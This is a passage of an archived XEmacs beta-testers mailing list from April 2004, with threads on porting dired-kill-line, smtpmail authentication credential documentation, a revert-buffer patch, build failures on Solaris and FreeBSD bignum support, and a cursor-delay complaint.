xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Probably not a dired bug so I'll ask here: The GNU Emacs version of the vc package uses dired-kill-line, which it loads from dired-aux. That does not seem to exist in the XEmacs package version of dired, nor does the function. Anybody know what's the status of that function; will it be available in the XEmacs dired, or is there something that could be defaliased or something in the current XEmacs version already now? From xemacs-beta-admin@xemacs.org Fri Apr 9 09:21:11 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i39DL2s09603; Fri, 9 Apr 2004 09:21:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i39DKit09368 for xemacs-beta-mailman@xemacs.org; Fri, 9 Apr 2004 09:20:44 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i39DKhb09350 for turnbull@tux.org; Fri, 9 Apr 2004 09:20:43 -0400 Received: from mx4.informatik.uni-tuebingen.de (mx4.Informatik.Uni-Tuebingen.De [134.2.12.29]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i39DKfs09333; Fri, 9 Apr 2004 09:20:41 -0400 Received: from localhost (loopback [127.0.0.1]) by mx4.informatik.uni-tuebingen.de (Postfix) with ESMTP id 036E313D0; Fri, 9 Apr 2004 15:20:41 +0200 (MST) Received: from mx4.informatik.uni-tuebingen.de ([127.0.0.1]) by localhost (mx4 [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 56258-04; Fri, 9 Apr 2004 15:20:40 +0200 (DFT) Received: from sams.informatik.uni-tuebingen.de (sams.Informatik.Uni-Tuebingen.De [134.2.12.50]) by mx4.informatik.uni-tuebingen.de (Postfix) with ESMTP id 72CB112E1; Fri, 9 Apr 2004 15:20:40 +0200 (MST) Received: from sams.informatik.uni-tuebingen.de (localhost [127.0.0.1]) by sams.informatik.uni-tuebingen.de (8.12.3/8.12.3) with ESMTP id i39DKeET024249; Fri, 9 Apr 2004 15:20:40 +0200 (CEST) (envelope-from sperber@sams.informatik.uni-tuebingen.de) Received: (from sperber@localhost) by sams.informatik.uni-tuebingen.de (8.12.3/8.12.3/Submit) id i39DKetU024248; Fri, 9 Apr 2004 15:20:40 +0200 (CEST) To: Ville Skyttä Cc: xemacs-beta@xemacs.org Subject: Re: dired-kill-line? References: <1081511277.4181.151.camel@bobcat.mine.nu> From: Michael Sperber Date: Fri, 09 Apr 2004 15:20:40 +0200 In-Reply-To: <1081511277.4181.151.camel@bobcat.mine.nu> (Ville Skytt's message of "Fri, 09 Apr 2004 14:47:57 +0300") Message-ID: User-Agent: Gnus/5.110001 (No Gnus v0.1) XEmacs/21.5 (celeriac, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Ville" == Ville Skytt writes: Ville> The GNU Emacs version of the vc package uses dired-kill-line, which it Ville> loads from dired-aux. That does not seem to exist in the XEmacs package Ville> version of dired, nor does the function. Ville> Anybody know what's the status of that function; will it be available in Ville> the XEmacs dired, or is there something that could be defaliased or Ville> something in the current XEmacs version already now? The definition from GNU Emacs seems to work: (defun dired-kill-line (&optional arg) (interactive "P") (setq arg (prefix-numeric-value arg)) (let (buffer-read-only file) (while (/= 0 arg) (setq file (dired-get-filename nil t)) (if (not file) (error "Can only kill file lines") (save-excursion (and file (dired-goto-subdir file) (dired-kill-subdir))) (delete-region (progn (beginning-of-line) (point)) (progn (forward-line 1) (point))) (if (> arg 0) (setq arg (1- arg)) (setq arg (1+ arg)) (forward-line -1)))) (dired-move-to-filename))) I'll put it in the next release of Dired. Is that enough to support vc's dired-related functionality? -- Cheers =8-} Mike Friede, Völkerverständigung und überhaupt blabla From xemacs-beta-admin@xemacs.org Fri Apr 9 09:45:06 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i39Dj2s26967; Fri, 9 Apr 2004 09:45:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i39DiiO26724 for xemacs-beta-mailman@xemacs.org; Fri, 9 Apr 2004 09:44:44 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i39DigA26681 for turnbull@tux.org; Fri, 9 Apr 2004 09:44:42 -0400 Received: from yxa.extundo.com (178.230.13.217.in-addr.dgcsystems.net [217.13.230.178]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i39Difs26667; Fri, 9 Apr 2004 09:44:41 -0400 Received: from latte.josefsson.org (yxa.extundo.com [217.13.230.178]) (authenticated bits=0) by yxa.extundo.com (8.12.11/8.12.11) with ESMTP id i39Dhg5V028499 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 9 Apr 2004 15:43:42 +0200 To: kdc@rcn.com Cc: xemacs-beta@xemacs.org Subject: Re: documentation problem with smtpmail.el, smtpmail-auth-credentials, AUTH PLAIN References: <9ssmfdzlzg.fsf@rcn.com> From: Simon Josefsson X-Hashcash: 0:040409:kdc@rcn.com:08a952ed9e35262c X-Hashcash: 0:040409:xemacs-beta@xemacs.org:1ac8a8863272f5bf Date: Fri, 09 Apr 2004 15:43:40 +0200 In-Reply-To: <9ssmfdzlzg.fsf@rcn.com> (Kevin D. Clark's message of "Fri, 09 Apr 2004 02:47:15 -0400") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) Emacs/21.3.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL,HOT_NASTY autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , kdc@rcn.com (Kevin D. Clark) writes: > I believe that I have run into a small documentation problem with > smptmail.el . > > My ISP is now requiring that I authenticate myself when using SMTP. I > see this: > >: $ telnet smtp.ISP.com smtp >: Trying XXX.XXX.XXX.XXX >: Connected to smtp.ISP.com. >: Escape character is '^]'. >: 220 smtp01.mrf.mail.ISP.net ESMTP [NO UCE] ISP Exim 3.35 #7 Fri, 09 Apr 2004 01:47:38 -0400 >: EHLO >: 250-smtp01.mrf.mail.ISP.net Hello dialup-XXX.XXX.XXX.XXX.dial1.somewhere.level3.net [XXX.XXX.XXX.XXX] >: 250-SIZE 10485760 >: 250-8BITMIME >: 250-EXPN >: 250-PIPELINING >: 250-AUTH PLAIN LOGIN >: 250 HELP >: quit >: 221 smtp01.mrf.mail.ISP.net closing connection >: Connection closed by foreign host. > > After toying with getting smptmail.el to perform this authentication > for waaay too long (including upgrading the smptmail.el that I am > using to the one that I found in: > > ftp://ftp.us.xemacs.org/pub/xemacs/packages/mail-lib-1.64-pkg.tar.gz > ) > > ...and walking through this packages source code, I have determined > that my problem comes down to this comment in smtpmail.el: > > ;; Please add these lines in your .emacs(_emacs) or use customize. > ... > ;;(setq smtpmail-auth-credentials ; or use ~/.authinfo > ;; '(("YOUR SMTP HOST" 25 "username" "password"))) > > > Setting the port number to an integer DOESN'T WORK FOR ME. > > This works for me: > > (setq smtpmail-auth-credentials > '(("smtp.ISP.com" "smtp" "kdc" nil))) > > This does not: > > (setq smtpmail-auth-credentials > '(("smtp.ISP.com" 25 "kdc" nil))) > > The easiest thing to do might be to modify the documentation, but I'm > not entirely sure what the package maintainers want to do here. > > Please let me know if I can be of further assistance, The port value you use must match (eq) the value of smtpmail-smtp-service. It should default to 25 (the integer). Unfortunately, there is no mechanism in smtpmail.el that make it understand that "smtp" equals 25, having such a mechanism would be a nice contribution. If it helps, I have installed the below to smtpmail.el in XEmacs and Emacs. If you can point to any exact location in the SMTPMail manual where you think this can be improved, that would be appreciated as well. Feel free to suggest text. Thanks. 2004-04-09 Simon Josefsson * smtpmail.el: Add comment, based on report by kdc@rcn.com (Kevin D. Clark). Index: smtpmail.el =================================================================== RCS file: /pack/xemacscvs/XEmacs/packages/xemacs-packages/mail-lib/smtpmail.el,vretrieving revision 1.21 retrieving revision 1.22 diff -u -p -r1.21 -r1.22 --- smtpmail.el 13 May 2003 19:45:46 -0000 1.21 +++ smtpmail.el 9 Apr 2004 13:36:14 -0000 1.22 @@ -1,6 +1,7 @@ ;;; smtpmail.el --- simple SMTP protocol (RFC 821) for sending mail -;; Copyright (C) 1995, 1996, 2001, 2002, 2003 Free Software Foundation, Inc. +;; Copyright (C) 1995, 1996, 2001, 2002, 2003, 2004 +;; Free Software Foundation, Inc. ;; Author: Tomoji Kagatani ;; Maintainer: Simon Josefsson @@ -46,6 +47,8 @@ ;; '(("YOUR SMTP HOST" 25 "username" "password"))) ;;(setq smtpmail-starttls-credentials ;; '(("YOUR SMTP HOST" 25 "~/.my_smtp_tls.key" "~/.my_smtp_tls.cert"))) +;; Where the 25 equals the value of `smtpmail-smtp-service', it can be an +;; integer or a string, just as long as they match (eq). ;; To queue mail, set smtpmail-queue-mail to t and use ;; smtpmail-send-queued-mail to send. From xemacs-beta-admin@xemacs.org Fri Apr 9 10:01:05 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i39E11s06826; Fri, 9 Apr 2004 10:01:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i39E0Ds05810 for xemacs-beta-mailman@xemacs.org; Fri, 9 Apr 2004 10:00:13 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i39E0CA05775 for turnbull@tux.org; Fri, 9 Apr 2004 10:00:12 -0400 Received: from smtp1.pp.htv.fi (smtp1.pp.htv.fi [212.90.64.119]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i39E0Bs05747 for ; Fri, 9 Apr 2004 10:00:11 -0400 Received: from posti.pp.htv.fi (posti.pp.htv.fi [212.90.64.50]) by smtp1.pp.htv.fi (Postfix) with ESMTP id 492E781716; Fri, 9 Apr 2004 17:00:10 +0300 (EEST) Received: from [62.78.130.181] (cs78130181.pp.htv.fi [62.78.130.181]) by posti.pp.htv.fi (8.11.1 (Revision 1.5+JAGae91741+JAGae92668) /8.11.1) with ESMTP id i39E09h15292; Fri, 9 Apr 2004 17:00:10 +0300 (EETDST) Subject: Re: dired-kill-line? From: Ville =?ISO-8859-1?Q?Skytt=E4?= To: Michael Sperber Cc: xemacs-beta@xemacs.org In-Reply-To: References: <1081511277.4181.151.camel@bobcat.mine.nu> Content-Type: text/plain Organization: The XEmacs Development Team Message-Id: <1081519209.5296.2.camel@bobcat.mine.nu> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) Date: Fri, 09 Apr 2004 17:00:09 +0300 Content-Transfer-Encoding: 7bit X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , On Fri, 2004-04-09 at 16:20, Michael Sperber wrote: > I'll put it in the next release of Dired. Thanks. > Is that enough to support vc's dired-related functionality? I don't know yet, that was just a semi-random spot. They also load dired-kill-tree from dired-aux.el but that seems to be in the XEmacs package's dired.el so that's probably not a problem. From xemacs-beta-admin@xemacs.org Fri Apr 9 10:10:10 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i39EA5s13198; Fri, 9 Apr 2004 10:10:05 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i39E9Ag12611 for xemacs-beta-mailman@xemacs.org; Fri, 9 Apr 2004 10:09:10 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i39E99F12588 for turnbull@tux.org; Fri, 9 Apr 2004 10:09:09 -0400 Received: from post.its.mcw.edu (post.its.mcw.edu [141.106.32.10]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i39E99s12583 for ; Fri, 9 Apr 2004 10:09:09 -0400 Received: from don (don.biostat.mcw.edu [141.106.120.97]) by post.its.mcw.edu (8.11.6+Sun/8.11.4) with SMTP id i39E98x27259 for ; Fri, 9 Apr 2004 09:09:08 -0500 (CDT) Message-Id: <200404091409.i39E98x27259@post.its.mcw.edu> Date: Fri, 9 Apr 2004 09:09:08 -0500 (CDT) From: Rodney Sparapani Reply-To: Rodney Sparapani Subject: Re: [A21.5] [PATCH for 21.5.17]: local variables not updated with revert-buffer bug To: xemacs-beta@xemacs.org MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: xFLQ2Vlj4voONNP71uSaYw== X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.5 SunOS 5.9 sun4u sparc X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Stephen: Sorry about that. Here you go: 2003-05-06 Andy Piper * files.el (revert-buffer): Make sure local variables get processed, even in the case of an optimized reversion. >APPROVE 21.5 > >Not for 21.4, it's long since in there. > >Will commit shortly. > >>>>>> "Rodney" == Rodney Sparapani writes: > > Rodney> With the recent announcement, I decided to give unstable a > Rodney> try. However, I quickly discovered that the local > Rodney> variables bug in revert-buffer still exists in unstable. > Rodney> So, I decided to patch it with stable since that has been > Rodney> fixed. > > Rodney> And, it worked! Here's the patch: > >Your mailer apparently converts tabs to spaces, it didn't apply as is. >No big deal here, but if you submit something bigger in the future, >you probably should attach it, maybe as a .gz, to avoid serious >annoyance. > >Also, even though it's already in 21.4, you should submit a ChangeLog. > >-- >Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp >University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN > Ask not how you can "do" free software business; > ask what your business can "do for" free software. Rodney Sparapani Medical College of Wisconsin Sr. Biostatistician Patient Care & Outcomes Research rsparapa@mcw.edu http://www.mcw.edu/pcor Was 'Name That Tune' rigged? WWLD -- What Would Lombardi Do From xemacs-beta-admin@xemacs.org Fri Apr 9 17:55:40 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i39LtAs07729; Fri, 9 Apr 2004 17:55:10 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i39Lsrw07494 for xemacs-beta-mailman@xemacs.org; Fri, 9 Apr 2004 17:54:53 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i39Lsqg07465 for turnbull@tux.org; Fri, 9 Apr 2004 17:54:52 -0400 Received: from web12304.mail.yahoo.com (web12304.mail.yahoo.com [216.136.173.102]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i39Lsos07444 for ; Fri, 9 Apr 2004 17:54:50 -0400 Message-ID: <20040409215446.36791.qmail@web12304.mail.yahoo.com> Received: from [172.142.191.116] by web12304.mail.yahoo.com via HTTP; Fri, 09 Apr 2004 14:54:46 PDT Date: Fri, 9 Apr 2004 14:54:46 -0700 (PDT) From: Daniel Subject: Bug?????? To: xemacs-beta@xemacs.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hi Guys: I have tried to install the XEmacs package in my PC. My PC is loaded with the Solaris for intel ver. 5.9 and the Xemacs version i am trying to install is the 21.4.15. The compiler i am using is the : gcc ver. 3.3.2. i have executed the "configure" itility withe the following parameters: #./configure --without-x --with-gcc then i tried to "make": #make install and the following is the result: cd ./lib-src && make CC='gcc' CFLAGS='-g -O3 -Wall -Wno-switch -Winline -Wmissing-prototypes -Wsign-compare -fno-strict-aliasing -Wshadow -Wpointer-arith' LDFLAGS='' CPPFLAGS='' all cd ./src && make CC='gcc' CFLAGS='-g -O3 -Wall -Wno-switch -Winline -Wmissing-prototypes -Wsign-compare -fno-strict-aliasing -Wshadow -Wpointer-arith' LDFLAGS='' CPPFLAGS='' all gcc -c -g -O3 -Wall -Wno-switch -Winline -Wmissing-prototypes -Wsign-compare -fno-strict-aliasing -Wshadow -Wpointer-arith -Demacs -I. -DHAVE_CONFIG_H bytecode.c bytecode.c: In function `invalid_byte_code_error': bytecode.c:1494: error: incompatible type for argument 1 of `__builtin_va_start' bytecode.c:1497: error: incompatible type for argument 1 of `__builtin_va_end' *** Error code 1 make: Fatal error: Command failed for target `bytecode.o' Current working directory /export/home/downloads/XEMACS/xemacs-21.4.15/src *** Error code 1 make: Fatal error: Command failed for target `src' # I hope you can help me with your advice !!!! Best regards !!! __________________________________ Do you Yahoo!? Yahoo! Small Business $15K Web Design Giveaway http://promotions.yahoo.com/design_giveaway/ From xemacs-beta-admin@xemacs.org Fri Apr 9 18:03:04 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i39M33s13838; Fri, 9 Apr 2004 18:03:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i39M2gv13547 for xemacs-beta-mailman@xemacs.org; Fri, 9 Apr 2004 18:02:42 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i39M2eK13520 for turnbull@tux.org; Fri, 9 Apr 2004 18:02:40 -0400 Received: from ns1.ciw.edu (ns1.ciw.edu [192.70.249.2]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i39M2es13512 for ; Fri, 9 Apr 2004 18:02:40 -0400 Received: from localhost (localhost [127.0.0.1]) by ns1.ciw.edu (Postfix) with ESMTP id 355DE68015 for ; Fri, 9 Apr 2004 18:02:32 -0400 (EDT) Received: from ns1.ciw.edu ([127.0.0.1]) by localhost (ns1.ciw.edu [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 01395-06 for ; Fri, 9 Apr 2004 18:02:32 -0400 (EDT) Received: from dresden.gl.ciw.edu (dresden.gl.ciw.edu [10.25.3.1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by ns1.ciw.edu (Postfix) with ESMTP id D1E8868014 for ; Fri, 9 Apr 2004 18:02:31 -0400 (EDT) Date: Fri, 9 Apr 2004 18:02:29 -0400 (EDT) From: Burkhard Militzer X-X-Sender: i1150mil@dresden.gl.ciw.edu To: xemacs-beta@xemacs.org Subject: long delays when using 21.4 (patch 12) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: by amavisd-new at gl.ciw.edu X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hello, I am editing C++ files about 1000 lines on 3GHz linux PC using the "xemacs mule version 21.4 (patch 12)". Many many times, the mouse cursor changes into the delay/busy symbol with the three "recycling" arrows even when I type nothing. Actually by now, it likes it more than the normal cursor. Most of the time, I just type over it but when I try to mouse-copy I feel like driving a car in the rain that has very old viper blades. Any suggestions? Thank you in advance, Burkhard Militzer From xemacs-beta-admin@xemacs.org Sat Apr 10 22:41:21 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3B2f2s09644; Sat, 10 Apr 2004 22:41:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3B2eWv09419 for xemacs-beta-mailman@xemacs.org; Sat, 10 Apr 2004 22:40:32 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3B2eUf09402 for turnbull@tux.org; Sat, 10 Apr 2004 22:40:30 -0400 Received: from rwcrmhc11.comcast.net (rwcrmhc11.comcast.net [204.127.198.35]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3B2dts09172; Sat, 10 Apr 2004 22:39:55 -0400 Received: from the-saint.the-saint.localdomain (pcp06945825pcs.nrockv01.md.comcast.net[69.138.30.56]) by comcast.net (rwcrmhc11) with ESMTP id <2004041102395301300splu4e>; Sun, 11 Apr 2004 02:39:54 +0000 To: Jerry James Cc: XEmacs Beta Subject: Re: Bignums, libmp and FreeBSD From: Kaarthik Sivakumar In-Reply-To: (Jerry James's message of "Wed, 07 Apr 2004 10:13:01 -0500") References: <863c7g4d9t.fsf@comcast.net> Date: Sat, 10 Apr 2004 22:43:01 -0400 Message-ID: <864qrr2q16.fsf@comcast.net> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.5 (chayote, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by gwyn.tux.org id i3B2dts09172 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>> "JJ" == Jerry James writes: JJ> Now that's just weird. I could see a dependency from lcrypto to JJ> lmp. Crypto functions routinely sling very large numbers around, JJ> after all. But a dependency the other way just doesn't make any JJ> sense to me at all. Sorry about this delay in responding to this. Been quite busy. I checked on the FreeBSD mailing list and apparently libmp requires libcrypto. But more than that, according to the libmp man page on FreeBSD 5.x, libmp is deprecated and libcrypto is the way to go for bignums. So if you are interested in writing to another interface for bignums, here is the chance :). I am going to experiment with using the libgmp port on FreeBSD and compile xemacs with libgmp instead of libmp. If that works, then that is probably the way to go. In the meantime.... [...] JJ> Does it work to do this? JJ> #define pow mp_pow JJ> #undef min JJ> #define min mp_min JJ> #include JJ> #undef pow JJ> #undef min JJ> #define min(a,b) (((a) <= (b)) ? (a) : (b)) I am trying to run make with this change. 'make' for me dies with this last bit: --- Loading float-sup.el... *** Error in XEmacs initialization (arith-error) *** Backtrace really-early-error-handler((arith-error)) /(180.0 0.0) (defconst radians-to-degrees (/ 180.0 pi) "Radian to degree conversion constant") # bind (current-load-list) # (unwind-protect ...) # bind (load-file-name) # (unwind-protect ...) # (unwind-protect ...) # (unwind-protect ...) # (unwind-protect ...) # (unwind-protect ...) # (unwind-protect ...) (load-internal "[internal]") load("/usr/home/programs/xemacs/21.5/lisp/float-sup.el") (prog1 (load full-path) (unless (memq (quote quick-build) internal-error-checking) (garbage-collect))) (if full-path (prog1 (load full-path) (unless (memq (quote quick-build) internal-error-checking) (garbage-collect))) (external-debugging-output (format "\nLoad file %s: not found\n" file)) nil) # bind (full-path) (let ((full-path (locate-file file load-path (if load-ignore-elc-files (quote (".el" "")) (quote (".elc" ".el" "")))))) (if full-path (prog1 (load full-path) (unless (memq (quote quick-build) internal-error-checking) (garbage-collect))) (external-debugging-output (format "\nLoad file %s: not found\n" file)) nil)) # bind (file) pureload("float-sup") (if (pureload file) nil (external-debugging-output "Fatal error during load, aborting") (kill-emacs 1)) (unless (pureload file) (external-debugging-output "Fatal error during load, aborting") (kill-emacs 1)) (while (setq file (car files)) (unless (pureload file) (external-debugging-output "Fatal error during load, aborting") (kill-emacs 1)) (setq files (cdr files))) # bind (file files) (let ((files preloaded-file-list) file) (while (setq file (car files)) (unless (pureload file) (external-debugging-output "Fatal error during load, aborting") (kill-emacs 1)) (setq files (cdr files))) (when (not (featurep (quote toolbar))) (defun toolbar-button-p (obj) "No toolbar support." nil) (defun toolbar-specifier-p (obj) "No toolbar support." nil)) (fmakunbound (quote pureload))) (lambda nil (setq Installation-string (save-current-buffer (set-buffer (get-buffer-create (generate-new-buffer-name " *temp*"))) (fset (quote format-decode) (function (lambda (f l &optional v) l))) (insert-file-contents-internal (expand-file-name "Installation" build-root)) (fmakunbound (quote format-decode)) (prog1 (buffer-substring) (kill-buffer (current-buffer))))) (setq load-path (list source-lisp)) (setq module-load-path (list (expand-file-name "modules" build-root))) (external-debugging-output (format "\nUsing load-path %s" load-path)) (external-debugging-output (format "\nUsing module-load-path %s" module-load-path)) (buffer-disable-undo (get-buffer "*scratch*")) (let ((temp-path (expand-file-name "." (car load-path)))) (setq load-path (nconc (mapcar (function (lambda (i) (concat i "/"))) (directory-files temp-path t "^[^-.]" nil (quote dirs-only))) (cons (file-name-as-directory temp-path) load-path)))) (setq load-warn-when-source-only t) (defun pureload (file) (let ((full-path (locate-file file load-path (if load-ignore-elc-files (quote (".el" "")) (quote (".elc" ".el" "")))))) (if full-path (prog1 (load full-path) (unless (memq (quote quick-build) internal-error-checking) (garbage-collect))) (external-debugging-output (format "\nLoad file %s: not found\n" file)) nil))) (load (expand-file-name "dumped-lisp.el" source-lisp)) (let ((files preloaded-file-list) file) (while (setq file (car files)) (unless (pureload file) (external-debugging-output "Fatal error during load, aborting") (kill-emacs 1)) (setq files (cdr files))) (when (not (featurep (quote toolbar))) (defun toolbar-button-p (obj) "No toolbar support." nil) (defun toolbar-specifier-p (obj) "No toolbar support." nil)) (fmakunbound (quote pureload))) (packages-load-package-dumped-lisps late-package-load-path))() # (unwind-protect ...) call-with-condition-handler(really-early-error-handler (lambda nil (setq Installation-string (save-current-buffer (set-buffer (get-buffer-create (generate-new-buffer-name " *temp*"))) (fset (quote format-decode) (function (lambda (f l &optional v) l))) (insert-file-contents-internal (expand-file-name "Installation" build-root)) (fmakunbound (quote format-decode)) (prog1 (buffer-substring) (kill-buffer (current-buffer))))) (setq load-path (list source-lisp)) (setq module-load-path (list (expand-file-name "modules" build-root))) (external-debugging-output (format "\nUsing load-path %s" load-path)) (external-debugging-output (format "\nUsing module-load-path %s" module-load-path)) (buffer-disable-undo (get-buffer "*scratch*")) (let ((temp-path (expand-file-name "." (car load-path)))) (setq load-path (nconc (mapcar (function (lambda (i) (concat i "/"))) (directory-files temp-path t "^[^-.]" nil (quote dirs-only))) (cons (file-name-as-directory temp-path) load-path)))) (setq load-warn-when-source-only t) (defun pureload (file) (let ((full-path (locate-file file load-path (if load-ignore-elc-files (quote (".el" "")) (quote (".elc" ".el" "")))))) (if full-path (prog1 (load full-path) (unless (memq (quote quick-build) internal-error-checking) (garbage-collect))) (external-debugging-output (format "\nLoad file %s: not found\n" file)) nil))) (load (expand-file-name "dumped-lisp.el" source-lisp)) (let ((files preloaded-file-list) file) (while (setq file (car files)) (unless (pureload file) (external-debugging-output "Fatal error during load, aborting") (kill-emacs 1)) (setq files (cdr files))) (when (not (featurep (quote toolbar))) (defun toolbar-button-p (obj) "No toolbar support." nil) (defun toolbar-specifier-p (obj) "No toolbar support." nil)) (fmakunbound (quote pureload))) (packages-load-package-dumped-lisps late-package-load-path))) # bind (stack-trace-on-error) (let ((stack-trace-on-error nil)) (call-with-condition-handler (quote really-early-error-handler) (function (lambda nil (setq Installation-string (save-current-buffer (set-buffer (get-buffer-create (generate-new-buffer-name " *temp*"))) (fset (quote format-decode) (function (lambda (f l &optional v) l))) (insert-file-contents-internal (expand-file-name "Installation" build-root)) (fmakunbound (quote format-decode)) (prog1 (buffer-substring) (kill-buffer (current-buffer))))) (setq load-path (list source-lisp)) (setq module-load-path (list (expand-file-name "modules" build-root))) (external-debugging-output (format "\nUsing load-path %s" load-path)) (external-debugging-output (format "\nUsing module-load-path %s" module-load-path)) (buffer-disable-undo (get-buffer "*scratch*")) (let ((temp-path (expand-file-name "." (car load-path)))) (setq load-path (nconc (mapcar (function (lambda (i) (concat i 